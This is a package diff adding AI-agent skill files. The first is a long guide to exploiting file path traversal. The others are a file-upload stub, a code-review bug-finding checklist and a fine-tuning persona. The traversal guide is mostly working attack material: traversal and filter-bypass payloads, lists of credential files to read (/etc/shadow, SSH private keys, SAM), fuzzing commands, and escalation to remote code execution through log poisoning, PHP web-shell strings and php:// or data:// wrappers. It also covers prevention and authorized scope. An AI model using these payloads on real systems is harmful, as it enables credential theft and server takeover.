@ngxtm/devkit 3.7.0 → 3.8.0

package/merged-commands/file-path-traversal.md

@@ -0,0 +1,486 @@
+---
+name: File Path Traversal Testing
+description: This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# File Path Traversal Testing
+
+## Purpose
+
+Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.
+
+## Prerequisites
+
+### Required Tools
+- Web browser with developer tools
+- Burp Suite or OWASP ZAP
+- cURL for testing payloads
+- Wordlists for automation
+- ffuf or wfuzz for fuzzing
+
+### Required Knowledge
+- HTTP request/response structure
+- Linux and Windows filesystem layout
+- Web application architecture
+- Basic understanding of file APIs
+
+## Outputs and Deliverables
+
+1. **Vulnerability Report** - Identified traversal points and severity
+2. **Exploitation Proof** - Extracted file contents
+3. **Impact Assessment** - Accessible files and data exposure
+4. **Remediation Guidance** - Secure coding recommendations
+
+## Core Workflow
+
+### Phase 1: Understanding Path Traversal
+
+Path traversal occurs when applications use user input to construct file paths:
+
+```php
+// Vulnerable PHP code example
+$template = "blue.php";
+if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
+    $template = $_COOKIE['template'];
+}
+include("/home/user/templates/" . $template);
+```
+
+Attack principle:
+- `../` sequence moves up one directory
+- Chain multiple sequences to reach root
+- Access files outside intended directory
+
+Impact:
+- **Confidentiality** - Read sensitive files
+- **Integrity** - Write/modify files (in some cases)
+- **Availability** - Delete files (in some cases)
+- **Code Execution** - If combined with file upload or log poisoning
+
+### Phase 2: Identifying Traversal Points
+
+Map application for potential file operations:
+
+```bash
+# Parameters that often handle files
+?file=
+?path=
+?page=
+?template=
+?filename=
+?doc=
+?document=
+?folder=
+?dir=
+?include=
+?src=
+?source=
+?content=
+?view=
+?download=
+?load=
+?read=
+?retrieve=
+```
+
+Common vulnerable functionality:
+- Image loading: `/image?filename=23.jpg`
+- Template selection: `?template=blue.php`
+- File downloads: `/download?file=report.pdf`
+- Document viewers: `/view?doc=manual.pdf`
+- Include mechanisms: `?page=about`
+
+### Phase 3: Basic Exploitation Techniques
+
+#### Simple Path Traversal
+
+```bash
+# Basic Linux traversal
+../../../etc/passwd
+../../../../etc/passwd
+../../../../../etc/passwd
+../../../../../../etc/passwd
+
+# Windows traversal
+..\..\..\windows\win.ini
+..\..\..\..\windows\system32\drivers\etc\hosts
+
+# URL encoded
+..%2F..%2F..%2Fetc%2Fpasswd
+..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding
+
+# Test payloads with curl
+curl "http://target.com/image?filename=../../../etc/passwd"
+curl "http://target.com/download?file=....//....//....//etc/passwd"
+```
+
+#### Absolute Path Injection
+
+```bash
+# Direct absolute path (Linux)
+/etc/passwd
+/etc/shadow
+/etc/hosts
+/proc/self/environ
+
+# Direct absolute path (Windows)
+C:\windows\win.ini
+C:\windows\system32\drivers\etc\hosts
+C:\boot.ini
+```
+
+### Phase 4: Bypass Techniques
+
+#### Bypass Stripped Traversal Sequences
+
+```bash
+# When ../ is stripped once
+....//....//....//etc/passwd
+....\/....\/....\/etc/passwd
+
+# Nested traversal
+..././..././..././etc/passwd
+....//....//etc/passwd
+
+# Mixed encoding
+..%2f..%2f..%2fetc/passwd
+%2e%2e/%2e%2e/%2e%2e/etc/passwd
+%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
+```
+
+#### Bypass Extension Validation
+
+```bash
+# Null byte injection (older PHP versions)
+../../../etc/passwd%00.jpg
+../../../etc/passwd%00.png
+
+# Path truncation
+../../../etc/passwd...............................
+
+# Double extension
+../../../etc/passwd.jpg.php
+```
+
+#### Bypass Base Directory Validation
+
+```bash
+# When path must start with expected directory
+/var/www/images/../../../etc/passwd
+
+# Expected path followed by traversal
+images/../../../etc/passwd
+```
+
+#### Bypass Blacklist Filters
+
+```bash
+# Unicode/UTF-8 encoding
+..%c0%af..%c0%af..%c0%afetc/passwd
+..%c1%9c..%c1%9c..%c1%9cetc/passwd
+
+# Overlong UTF-8 encoding
+%c0%2e%c0%2e%c0%af
+
+# URL encoding variations
+%2e%2e/
+%2e%2e%5c
+..%5c
+..%255c
+
+# Case variations (Windows)
+....\\....\\etc\\passwd
+```
+
+### Phase 5: Linux Target Files
+
+High-value files to target:
+
+```bash
+# System files
+/etc/passwd           # User accounts
+/etc/shadow           # Password hashes (root only)
+/etc/group            # Group information
+/etc/hosts            # Host mappings
+/etc/hostname         # System hostname
+/etc/issue            # System banner
+
+# SSH files
+/root/.ssh/id_rsa           # Root private key
+/root/.ssh/authorized_keys  # Authorized keys
+/home/<user>/.ssh/id_rsa    # User private keys
+/etc/ssh/sshd_config        # SSH configuration
+
+# Web server files
+/etc/apache2/apache2.conf
+/etc/nginx/nginx.conf
+/etc/apache2/sites-enabled/000-default.conf
+/var/log/apache2/access.log
+/var/log/apache2/error.log
+/var/log/nginx/access.log
+
+# Application files
+/var/www/html/config.php
+/var/www/html/wp-config.php
+/var/www/html/.htaccess
+/var/www/html/web.config
+
+# Process information
+/proc/self/environ      # Environment variables
+/proc/self/cmdline      # Process command line
+/proc/self/fd/0         # File descriptors
+/proc/version           # Kernel version
+
+# Common application configs
+/etc/mysql/my.cnf
+/etc/postgresql/*/postgresql.conf
+/opt/lampp/etc/httpd.conf
+```
+
+### Phase 6: Windows Target Files
+
+Windows-specific targets:
+
+```bash
+# System files
+C:\windows\win.ini
+C:\windows\system.ini
+C:\boot.ini
+C:\windows\system32\drivers\etc\hosts
+C:\windows\system32\config\SAM
+C:\windows\repair\SAM
+
+# IIS files
+C:\inetpub\wwwroot\web.config
+C:\inetpub\logs\LogFiles\W3SVC1\
+
+# Configuration files
+C:\xampp\apache\conf\httpd.conf
+C:\xampp\mysql\data\mysql\user.MYD
+C:\xampp\passwords.txt
+C:\xampp\phpmyadmin\config.inc.php
+
+# User files
+C:\Users\<user>\.ssh\id_rsa
+C:\Users\<user>\Desktop\
+C:\Documents and Settings\<user>\
+```
+
+### Phase 7: Automated Testing
+
+#### Using Burp Suite
+
+```
+1. Capture request with file parameter
+2. Send to Intruder
+3. Mark file parameter value as payload position
+4. Load path traversal wordlist
+5. Start attack
+6. Filter responses by size/content for success
+```
+
+#### Using ffuf
+
+```bash
+# Basic traversal fuzzing
+ffuf -u "http://target.com/image?filename=FUZZ" \
+     -w /usr/share/wordlists/traversal.txt \
+     -mc 200
+
+# Fuzzing with encoding
+ffuf -u "http://target.com/page?file=FUZZ" \
+     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
+     -mc 200,500 -ac
+```
+
+#### Using wfuzz
+
+```bash
+# Traverse to /etc/passwd
+wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
+      --hc 404 \
+      "http://target.com/index.php?file=FUZZ"
+
+# With headers/cookies
+wfuzz -c -z file,traversal.txt \
+      -H "Cookie: session=abc123" \
+      "http://target.com/load?path=FUZZ"
+```
+
+### Phase 8: LFI to RCE Escalation
+
+#### Log Poisoning
+
+```bash
+# Inject PHP code into logs
+curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
+
+# Include Apache log file
+curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
+
+# Include auth.log (SSH)
+# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
+curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
+```
+
+#### Proc/self/environ
+
+```bash
+# Inject via User-Agent
+curl -A "<?php system('id'); ?>" \
+     "http://target.com/page?file=/proc/self/environ"
+
+# With command parameter
+curl -A "<?php system(\$_GET['c']); ?>" \
+     "http://target.com/page?file=/proc/self/environ&c=whoami"
+```
+
+#### PHP Wrapper Exploitation
+
+```bash
+# php://filter - Read source code as base64
+curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
+
+# php://input - Execute POST data as PHP
+curl -X POST -d "<?php system('id'); ?>" \
+     "http://target.com/page?file=php://input"
+
+# data:// - Execute inline PHP
+curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"
+
+# expect:// - Execute system commands
+curl "http://target.com/page?file=expect://id"
+```
+
+### Phase 9: Testing Methodology
+
+Structured testing approach:
+
+```bash
+# Step 1: Identify potential parameters
+# Look for file-related functionality
+
+# Step 2: Test basic traversal
+../../../etc/passwd
+
+# Step 3: Test encoding variations
+..%2F..%2F..%2Fetc%2Fpasswd
+%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
+
+# Step 4: Test bypass techniques
+....//....//....//etc/passwd
+..;/..;/..;/etc/passwd
+
+# Step 5: Test absolute paths
+/etc/passwd
+
+# Step 6: Test with null bytes (legacy)
+../../../etc/passwd%00.jpg
+
+# Step 7: Attempt wrapper exploitation
+php://filter/convert.base64-encode/resource=index.php
+
+# Step 8: Attempt log poisoning for RCE
+```
+
+### Phase 10: Prevention Measures
+
+Secure coding practices:
+
+```php
+// PHP: Use basename() to strip paths
+$filename = basename($_GET['file']);
+$path = "/var/www/files/" . $filename;
+
+// PHP: Validate against whitelist
+$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
+if (in_array($_GET['file'], $allowed)) {
+    include("/var/www/files/" . $_GET['file']);
+}
+
+// PHP: Canonicalize and verify base path
+$base = "/var/www/files/";
+$realBase = realpath($base);
+$userPath = $base . $_GET['file'];
+$realUserPath = realpath($userPath);
+
+if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
+    include($realUserPath);
+}
+```
+
+```python
+# Python: Use os.path.realpath() and validate
+import os
+
+def safe_file_access(base_dir, filename):
+    # Resolve to absolute path
+    base = os.path.realpath(base_dir)
+    file_path = os.path.realpath(os.path.join(base, filename))
+    
+    # Verify file is within base directory
+    if file_path.startswith(base):
+        return open(file_path, 'r').read()
+    else:
+        raise Exception("Access denied")
+```
+
+## Quick Reference
+
+### Common Payloads
+
+| Payload | Target |
+|---------|--------|
+| `../../../etc/passwd` | Linux password file |
+| `..\..\..\..\windows\win.ini` | Windows INI file |
+| `....//....//....//etc/passwd` | Bypass simple filter |
+| `/etc/passwd` | Absolute path |
+| `php://filter/convert.base64-encode/resource=config.php` | Source code |
+
+### Target Files
+
+| OS | File | Purpose |
+|----|------|---------|
+| Linux | `/etc/passwd` | User accounts |
+| Linux | `/etc/shadow` | Password hashes |
+| Linux | `/proc/self/environ` | Environment vars |
+| Windows | `C:\windows\win.ini` | System config |
+| Windows | `C:\boot.ini` | Boot config |
+| Web | `wp-config.php` | WordPress DB creds |
+
+### Encoding Variants
+
+| Type | Example |
+|------|---------|
+| URL Encoding | `%2e%2e%2f` = `../` |
+| Double Encoding | `%252e%252e%252f` = `../` |
+| Unicode | `%c0%af` = `/` |
+| Null Byte | `%00` |
+
+## Constraints and Limitations
+
+### Permission Restrictions
+- Cannot read files application user cannot access
+- Shadow file requires root privileges
+- Many files have restrictive permissions
+
+### Application Restrictions
+- Extension validation may limit file types
+- Base path validation may restrict scope
+- WAF may block common payloads
+
+### Testing Considerations
+- Respect authorized scope
+- Avoid accessing genuinely sensitive data
+- Document all successful access
+
+## Troubleshooting
+
+| Problem | Solutions |
+|---------|-----------|
+| No response difference | Try encoding, blind traversal, different files |
+| Payload blocked | Use encoding variants, nested sequences, case variations |
+| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |

package/merged-commands/file-uploads.md

@@ -0,0 +1,22 @@
+---
+name: file-uploads
+description: "Expert at handling file uploads and cloud storage. Covers S3, Cloudflare R2, presigned URLs, multipart uploads, and image optimization. Knows how to handle large files without blocking. Use when: file upload, S3, R2, presigned URL, multipart."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# File Uploads & Storage
+
+**Role**: File Upload Specialist
+
+Careful about security and performance. Never trusts file
+extensions. Knows that large uploads need special handling.
+Prefers presigned URLs over server proxying.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Trusting client-provided file type | critical | # CHECK MAGIC BYTES |
+| No upload size restrictions | high | # SET SIZE LIMITS |
+| User-controlled filename allows path traversal | critical | # SANITIZE FILENAMES |
+| Presigned URL shared or cached incorrectly | medium | # CONTROL PRESIGNED URL DISTRIBUTION |

package/merged-commands/find-bugs.md

@@ -0,0 +1,86 @@
+---
+name: find-bugs
+description: "Find bugs, security vulnerabilities, and code quality issues in local branch changes. Use when asked to review changes, find bugs, security review, or audit code on the current branch."
+source: "https://github.com/getsentry/skills/tree/main/plugins/sentry-skills/skills/find-bugs"
+risk: safe
+---
+
+# Find Bugs
+
+Review changes on this branch for bugs, security vulnerabilities, and code quality issues.
+
+## When to Use This Skill
+
+Use this skill when:
+- Asked to review changes
+- Finding bugs in code
+- Performing security reviews
+- Auditing code on the current branch
+- Reviewing pull request changes
+
+## Phase 1: Complete Input Gathering
+
+1. Get the FULL diff: `git diff $(gh repo view --json defaultBranchRef --jq '.defaultBranchRef.name')...HEAD`
+2. If output is truncated, read each changed file individually until you have seen every changed line
+3. List all files modified in this branch before proceeding
+
+## Phase 2: Attack Surface Mapping
+
+For each changed file, identify and list:
+
+* All user inputs (request params, headers, body, URL components)
+* All database queries
+* All authentication/authorization checks
+* All session/state operations
+* All external calls
+* All cryptographic operations
+
+## Phase 3: Security Checklist (check EVERY item for EVERY file)
+
+* [ ] **Injection**: SQL, command, template, header injection
+* [ ] **XSS**: All outputs in templates properly escaped?
+* [ ] **Authentication**: Auth checks on all protected operations?
+* [ ] **Authorization/IDOR**: Access control verified, not just auth?
+* [ ] **CSRF**: State-changing operations protected?
+* [ ] **Race conditions**: TOCTOU in any read-then-write patterns?
+* [ ] **Session**: Fixation, expiration, secure flags?
+* [ ] **Cryptography**: Secure random, proper algorithms, no secrets in logs?
+* [ ] **Information disclosure**: Error messages, logs, timing attacks?
+* [ ] **DoS**: Unbounded operations, missing rate limits, resource exhaustion?
+* [ ] **Business logic**: Edge cases, state machine violations, numeric overflow?
+
+## Phase 4: Verification
+
+For each potential issue:
+
+* Check if it's already handled elsewhere in the changed code
+* Search for existing tests covering the scenario
+* Read surrounding context to verify the issue is real
+
+## Phase 5: Pre-Conclusion Audit
+
+Before finalizing, you MUST:
+
+1. List every file you reviewed and confirm you read it completely
+2. List every checklist item and note whether you found issues or confirmed it's clean
+3. List any areas you could NOT fully verify and why
+4. Only then provide your final findings
+
+## Output Format
+
+**Prioritize**: security vulnerabilities > bugs > code quality
+
+**Skip**: stylistic/formatting issues
+
+For each issue:
+
+* **File:Line** - Brief description
+* **Severity**: Critical/High/Medium/Low
+* **Problem**: What's wrong
+* **Evidence**: Why this is real (not already fixed, no existing test, etc.)
+* **Fix**: Concrete suggestion
+* **References**: OWASP, RFCs, or other standards if applicable
+
+If you find nothing significant, say so - don't invent issues.
+
+Do not make changes - just report findings. I'll decide what to address.

package/merged-commands/fine-tuning-expert.md

@@ -0,0 +1,98 @@
+---
+name: fine-tuning-expert
+description: Use when fine-tuning LLMs, training custom models, or optimizing model performance for specific tasks. Invoke for parameter-efficient methods, dataset preparation, or model adaptation.
+triggers:
+  - fine-tuning
+  - fine tuning
+  - LoRA
+  - QLoRA
+  - PEFT
+  - adapter tuning
+  - transfer learning
+  - model training
+  - custom model
+  - LLM training
+  - instruction tuning
+  - RLHF
+  - model optimization
+  - quantization
+role: expert
+scope: implementation
+output-format: code
+---
+
+# Fine-Tuning Expert
+
+Senior ML engineer specializing in LLM fine-tuning, parameter-efficient methods, and production model optimization.
+
+## Role Definition
+
+You are a senior ML engineer with deep experience in model training and fine-tuning. You specialize in parameter-efficient fine-tuning (PEFT) methods like LoRA/QLoRA, instruction tuning, and optimizing models for production deployment. You understand training dynamics, dataset quality, and evaluation methodologies.
+
+## When to Use This Skill
+
+- Fine-tuning foundation models for specific tasks
+- Implementing LoRA, QLoRA, or other PEFT methods
+- Preparing and validating training datasets
+- Optimizing hyperparameters for training
+- Evaluating fine-tuned models
+- Merging adapters and quantizing models
+- Deploying fine-tuned models to production
+
+## Core Workflow
+
+1. **Dataset preparation** - Collect, format, validate training data quality
+2. **Method selection** - Choose PEFT technique based on resources and task
+3. **Training** - Configure hyperparameters, monitor loss, prevent overfitting
+4. **Evaluation** - Benchmark against baselines, test edge cases
+5. **Deployment** - Merge/quantize model, optimize inference, serve
+
+## Reference Guide
+
+Load detailed guidance based on context:
+
+| Topic | Reference | Load When |
+|-------|-----------|-----------|
+| LoRA/PEFT | `references/lora-peft.md` | Parameter-efficient fine-tuning, adapters |
+| Dataset Prep | `references/dataset-preparation.md` | Training data formatting, quality checks |
+| Hyperparameters | `references/hyperparameter-tuning.md` | Learning rates, batch sizes, schedulers |
+| Evaluation | `references/evaluation-metrics.md` | Benchmarking, metrics, model comparison |
+| Deployment | `references/deployment-optimization.md` | Model merging, quantization, serving |
+
+## Constraints
+
+### MUST DO
+- Validate dataset quality before training
+- Use parameter-efficient methods for large models (>7B)
+- Monitor training/validation loss curves
+- Test on held-out evaluation set
+- Document hyperparameters and training config
+- Version datasets and model checkpoints
+- Measure inference latency and throughput
+
+### MUST NOT DO
+- Train on test data
+- Skip data quality validation
+- Use learning rate without warmup
+- Overfit on small datasets
+- Merge incompatible adapters
+- Deploy without evaluation
+- Ignore GPU memory constraints
+
+## Output Templates
+
+When implementing fine-tuning, provide:
+1. Dataset preparation script with validation
+2. Training configuration file
+3. Evaluation script with metrics
+4. Brief explanation of design choices
+
+## Knowledge Reference
+
+Hugging Face Transformers, PEFT library, bitsandbytes, LoRA/QLoRA, Axolotl, DeepSpeed, FSDP, instruction tuning, RLHF, DPO, dataset formatting (Alpaca, ShareGPT), evaluation (perplexity, BLEU, ROUGE), quantization (GPTQ, AWQ, GGUF), vLLM, TGI
+
+## Related Skills
+
+- **MLOps Engineer** - Model versioning, experiment tracking
+- **DevOps Engineer** - GPU infrastructure, deployment
+- **Data Scientist** - Dataset analysis, statistical validation